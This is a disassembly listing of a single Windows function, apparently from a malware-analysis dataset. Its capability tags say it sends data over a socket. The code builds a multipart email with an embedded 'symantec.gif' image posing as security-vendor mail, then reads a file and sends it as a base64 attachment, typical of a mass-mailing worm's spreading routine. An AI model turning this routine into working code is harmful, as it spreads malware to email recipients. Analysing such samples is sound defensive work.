Function at 0x402b82
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
lea eax, [ebp - 0x200]
push str.This_is_a_multi_part_message_in_MIME_format._r_n_r_n
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
mov edi, dword [ebp + 8]
pop ecx
mov esi, dword [sym.imp.WS2_32.dll_send]
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x18]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10
push 0
push str._____NextPart__.3u__.4u_s
push dword [ebp + 0xc]
call ebx
push dword [ebp + 0x18]
lea eax, [ebp - 0x27c]
push 0x11
push 1
push str._____NextPart__.3u__.4u_s
push eax
call ebx
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x200]
push dword [ebp + 0xc]
push str.___s_r_nContent_Type:_multipart_related__r_n_tboundary__s__r_n_ttype_multipart_alternative__r_n_r_n_r_n
push eax
call ebx
add esp, 0x38
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x18]
push 0x12
push 2
push str._____NextPart__.3u__.4u_s
push dword [ebp + 0xc]
call ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x200]
push str.___s_r_nContent_Type:_multipart_alternative__r_n_tboundary__s__r_n_r_n_r_n
push eax
call ebx
add esp, 0x24
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x200]
push str.___s_r_nContent_Type:_text_plain__r_n_tcharset_Windows_1252__r_nContent_Transfer_Encoding:_7bit_r_n_r_n
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x200]
push dword [ebp + 0x10]
push dword [0x40805c]
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x200]
push str._r_n_r_n_r_n
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x200]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push str.___s_r_nContent_Type:_text_html__r_n_tcharset_iso_8859_1__r_nContent_Transfer_Encoding:_quoted_printable_r_n_r_n
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
call fcn.00401cb7
push eax
call fcn.00401cb7
push eax
call fcn.00401cb7
push eax
call fcn.00401cb7
push eax
call fcn.00401cb7
push eax
lea eax, [ebp - 0x23c]
push str._.8X_.4X__.8X__.8X__.4X
push eax
call ebx
add esp, 0x1c
push 0
push dword [0x408060]
call fcn.00403ae0
pop ecx
push eax
push dword [0x408060]
push dword [edi]
call esi
push 0
push dword [ebp + 0x10]
call fcn.00403ae0
pop ecx
push eax
push dword [ebp + 0x10]
push dword [edi]
call esi
push 0
push dword [0x408064]
call fcn.00403ae0
pop ecx
push eax
push dword [0x408064]
push dword [edi]
call esi
push 0
push dword [ebp + 0x14]
call fcn.00403ae0
pop ecx
push eax
push dword [ebp + 0x14]
push dword [edi]
call esi
push 0
push dword [0x408068]
call fcn.00403ae0
pop ecx
push eax
push dword [0x408068]
push dword [edi]
call esi
lea eax, [ebp - 0x23c]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x23c]
push eax
push dword [edi]
call esi
push 0
push dword [0x40806c]
call fcn.00403ae0
pop ecx
push eax
push dword [0x40806c]
push dword [edi]
call esi
push 0
push dword [0x408070]
call fcn.00403ae0
pop ecx
push eax
push dword [0x408070]
push dword [edi]
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x200]
push str.___s___r_n_r_n
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x18]
push 0x11
push 1
push str._____NextPart__.3u__.4u_s
push dword [ebp + 0xc]
call ebx
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x200]
push dword [ebp + 0xc]
push str.___s_r_nContent_Type:_image_gif__r_n_tname_symantec.gif__r_nContent_Transfer_Encoding:_base64_r_nContent_ID:___s__r_n_r_n
push eax
call ebx
add esp, 0x24
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [0x408074]
and dword [ebp + 0x10], 0
call fcn.00403ae0
test eax, eax
pop ecx
jbe 0x402ecf
mov eax, dword [str.R0lGODlhjAAmAPcAAP_______f___z___7_v79_385_z63e7tztXSwry8uLW1tb6vtLS0t_f_r_n3_v7_j4Pz8_P7__P7__vz_P34pvzyZXNOJqOLFpPLCwnKiAgIBgYGBISEkNDQ2ppaaWlpdzc_r_n3PLy8v39_fv_v370_z0i_jkL_3LAMqZDy8yRSsyODgzNDAwMCkpKSQkJBwcHAICAm9ubsXFxf7_r_n__rrR_XOAv68AGJbRUJHVEdISUZFRT88OTk4OQsLC3R0dNnZ2f35yv3zhPjDCvK2AOeyCY15N01R_r_nXFRTVFBPUEBAQDU1NS8uLLGxsf__f37xP3xfPXKJvKyAMGdKlthZVpaWz09PYPj_79_PjiWvS4_r_nAPO6AaiRTGlrdmRoa15eXldXV5GRkf7___zzku63CW5xgmBgYExMTJWVlf7zm_3skfO7BmVlZP78_r_n8v35tvK9Aebm5vnpiPvBAM2uMXt6eurq6omJifS9BvGBPXAAezEB2NoZFhXXPLAAfTKAZqLR2Rk_r_navr6vX19fDw8OLi4ujo6OTk5PzxW_zycvndS_TDALCbL4KCgru7u_vxQ_PSHPTHAf_UANqwEDs3_r_nOM3NzampqcrKyp2dna6urpmZmfzxVPvxOPXMC__VCIeCYcHBwezs7Jfn9bW1qKiovnwJfrrOPTX_r_nD_bSIvnqd9bX2fjwFvrwDvvtGfXcCv3zyvnvAPruCPr6h_rvA_fwAvjsAvbsAfjpAfb128nH3aem_r_nt3Fsb_ntAPjlAffhAfXlCuzaGLioLXNqT1ZZaPfdAPjaAfvoBvbYAfbTAfbVAOS8DPXRALaLEPfa_r_nPfTSASqB_z21kxKQ_jXVvPDFfKuAB8iJvrvw_jWa_exACEmL_jmr_fGQfK1FeCmFXZ0bpqbp9LP_r_n1P313fHu29_g5_P1vv7_wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_r_nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAjAAmAAAI_wABCBxI_r_nUGCAAAIEDBgAgIBDhwMJNCxIsaLFixgzatzIsaNGAgICFDBwAEECBQsYNHDwAEIEjzBjypxJ06KE_r_nCRQEABhZwcIFDBk0bODQocMGDx9AhBARkSDEmlCjStVIYQSJAiVMnECRIoOKFSxauHgBo0OMszBk_r_nzGDqdKrbt29pDDBQoYaNGylw5NCxg0cPsS82wODg42yHH0AEEhgxEa7jxzBpBBFSYwiRIkaOIEmi_r_nQ0mPJUzGDi5aOMaSJoolQl7NmuIEAE6eQLEQRcqNKRoVNm8w8pf0WU7Cjd4Yri1sgbw9U5AcsT_r_nISayENGyhUsXL1_AcPa8ZKxgosPPxv_wEeZ4cshP4U4YICaIiTFjam8hw6XMBzO7z3j4HJosNKG_r_noWHeeW8ttphjEgxwQBpjVKDGGkTMV58MbHyBxBm99dDfaOGJF8MLMxDIWnputVGBCWm4ocZ0b1RX_r_nhgwfZMeZb4BxCKB4Z8Ah4mMQKBeVTjS4AcUYKcYR4RtyzEFHFzFqpwONov1343jlFaSajxFBdCWJ_r_n5l3ZkERgZqRaehLVUYUdVlYU5kReEqRTG2MMmUYFcdzxBh556GHdHl_wkUSGNf7n4XgxWJFYY2te_r_n1GZTbVlpIIkPLVrQCBDQEYNxxy0aaZuJAjCBGE9YAAUU78W3RR99KHHH4DklGGgnr_OFwHIIA5_r_nwoERPAAEEHUEIsKvIjwQCAGCADtIHXA4EEEgdYRASI8EBFKIs9AeOIIIhITwwK0ERACBCIZAIK2z_r_ngjQUiCFKxGDHr8MCcG0IIfT6KACBDOJAvIF8SdAAEqRxCCKjQpdIH4oUjIIfi7BxRA77gRalcFP6_r_nYBYbD7AZbRNWWLEBrYx4YIUSSDQAwAK9KXEGEx3AEEIYL5z1gSEOMALDWTKIANEDTVTBgWkM3NrI_r_nD_s1gMbMMXxQx8gemOWCDkmECEETHqD8AggQHFiIHTuYxQGaPs6FiCMWWIAIwIg8kgckaKMQiSRG_r_nZDBJC_19B_GgEvtgqMWUPABAA24_wAGEFecVUmPggRhiVXDKcfI2yYpQMYZ9DxRWFoEhBCFRtc_r_nYskZMfQwCAEsx9BBEkhITjkBlFyyRAxsYNIEHARk0kEYhjDQciUCAeEbJpYwwsESAwIgRgmabKLJ_r_nIYeEjUgNnPjhvPORdDKHJ0m4AMP1RM0ta1EufKJvIJY2IlAjdIACgBUxXCJQBIy8QAgAQMwcykB2_r_nxMABCAPJYBoAEPwQQ5UN4AAHDCEQUdhvFAPxXwvyBQAkxGBArFEDBgxkEvEQAnMWkILjhZBS2Bp_r_nAE_YBCkcoYkSHu8QpTCFHzhxikSgIg1PaEMqLlEFF8xKeKRmABx96VAfCAGIROIIP_yFYYYLBB_r_nTKCDQCjBARgQZAYx8MAgBtKEGDgxEAv4AQHhd70tUsI05RJIE3zAgXyJgHNVAgAY1IWJS1xhjVYQ_r_nQeDw56NEicENqlgFKTaxCUf40RGbYEUrsuCKNoiBPQOpw8YcJaIdaCJHQjFmEawgMIwgREhGEgh_r_nhEMJAFTCBYdiIgeOJpFPFOp9AlmA_QoCCkywIQYbICABJLjBiTShKGZEo0DqYEMkmOEDbPgBIxpR_r_nBw_EwIOdapMbVvGKVbCCFaSI5jNXAYtNxKIECxkAiURBB6JtD5IIbEwgMtEy0yyAMQ2MgRK_sLcl_r_nCpCDADClFd4nkSo6USBwsMMZZMD_CKPIUoJMgCcmyJjL_xVQMA0gxAPYAgBRMNKDFuPSHVXxClnI_r_nAhYYhYVFZ_GKWcyCFBZwgwQK8gBRgIANLpCVDjc2ijENhBJ0MAsTMulJIzagByGSCBNhYL5SntKW_r_nVlziEjYQhmwJ5p9GJCUABlpGAJzRoHzbgA8cQJEGMBITqdmSlmjwBFJU9BVgDatYaVELW7CiBia4_r_nBS5ygQZG6EIXP5BBuhr5SBgIho67VB__KjGzBQhxZkr4Qr50KsCexvOnYgyqCL6gzpeEYAOxbAgt_r_nBUpQp3JOQADg5QQpUghjIqFHBEEnQcRwgE3sQqyofQUtaGELXvCiF774BTCCIQxh_zhAxQAdDo_r_nygHIMoEBipEC_zKP875VSL664D43MW3JlZMIlBUQiEmokonggJ9XBPFYNjSACMa9pYweMlT0_hK_r_nH2BVIA4IxQjq5wM6vIR_dKAEHBiBhgVUog5iKMAhbFELWuziv_9lrS1a69pe9GIYxCCGHhImDCqw_r_nIbc_aFldyeIBUaRmEBsIKABC8AIXZJIxDCgUA8VoFlkCoIpMOBQAQjGeQATilS4AwSiMqU7ghvgF_r_nIhNIKIZTLkH8sAcMGMUMHJBSH4AhE3RwAZpAQWMr2IERLqgCszwgyW8QBQ0AEAafMGLYgz4ywR_r_nrYF7QQxjGOMYyIhEMowgDDOYgf8NMqhCUXpLFqNFJBCM8AEMkLAEK0CUMXCAQRrrEGHhtAAEEZDB_r_nCyS2hE8MQtHCUcIMCLG6QjFgjSohBls6IMlNEIEMpBqp703g535QAchCsEZiJMJTTZOPEoEwCBA_r_nEAokKCEEYgBACU5gYNf6usBjRrCZj6EMG9ggEnowAho8OYPvCBlLhwOJUTgrYuoFrQdUHFBAKB_r_nGXyCEpRgQAhGYIlPNMASDAjXDGYA7k8QUAQgqARTHICJfH3i2UmRCDWDW4G6KihYWiEaAEwg0yM_r_nAp4DEUUo0KDiCNQBFIVwAGgBgIoxW9zAw8h4mZFxjI7bwHmQQEEygsGHL_yyB0b_GcsZVIyRh4yg_r_nCjII3o6Qs2tiZPzmGizMTiujGL7AW2KyAMKloGEkrNBCRzosAswi6U0AaARHbBw02eGjGMoRXG_r_nSLDOd44Mnhf7434o]
mov ecx, dword [ebp + 0x10]
push 0
add eax, ecx
push 1
push eax
push dword [edi]
call esi
push dword [0x408074]
inc dword [ebp + 0x10]
call fcn.00403ae0
cmp dword [ebp + 0x10], eax
pop ecx
jb 0x402ea8
push dword [ebp + 0xc]
lea eax, [ebp - 0x200]
push str.___s___r_n_r_n
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push dword [ebp + 0x18]
push 0x10
push 0
push str._____NextPart__.3u__.4u_s
push dword [ebp + 0xc]
call ebx
push dword [ebp + 0x14]
lea eax, [ebp - 0x200]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push str.___s_r_nContent_Type:_application_octet_stream__r_n_tname__s__r_nContent_Transfer_Encoding:_base64_r_nContent_Disposition:_attachment__r_n_tfilename__s__r_n_r_n
push eax
call ebx
add esp, 0x28
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
cmp byte [ebp + 0x1c], 0
push 0
jne 0x402f53
push 0x40aa00
jmp 0x402f68
call fcn.00401cb7
push 6
cdq
pop ecx
idiv ecx
shl edx, 0xa
add edx, 0x41eef0
push edx
call dword [sym.imp.KERNEL32.DLL__lopen]
cmp eax, 0xffffffff
mov dword [ebp + 0x1c], eax
je 0x402ff4
lea eax, [ebp - 0x200]
push 0x420720
push eax
call fcn.004039b0
pop ecx
pop ecx
lea eax, [ebp - 0x200]
push 1
push eax
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.DLL__lread]
cmp eax, 1
jne 0x402fb7
and byte [ebp - 0x1ff], 0
push 0
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
jmp 0x402f89
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.DLL__lclose]
push dword [ebp + 0xc]
lea eax, [ebp - 0x200]
push str._r_n___s___r_n_r_n
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x200]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [edi]
call esi
push 1
pop eax
jmp 0x402ff6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret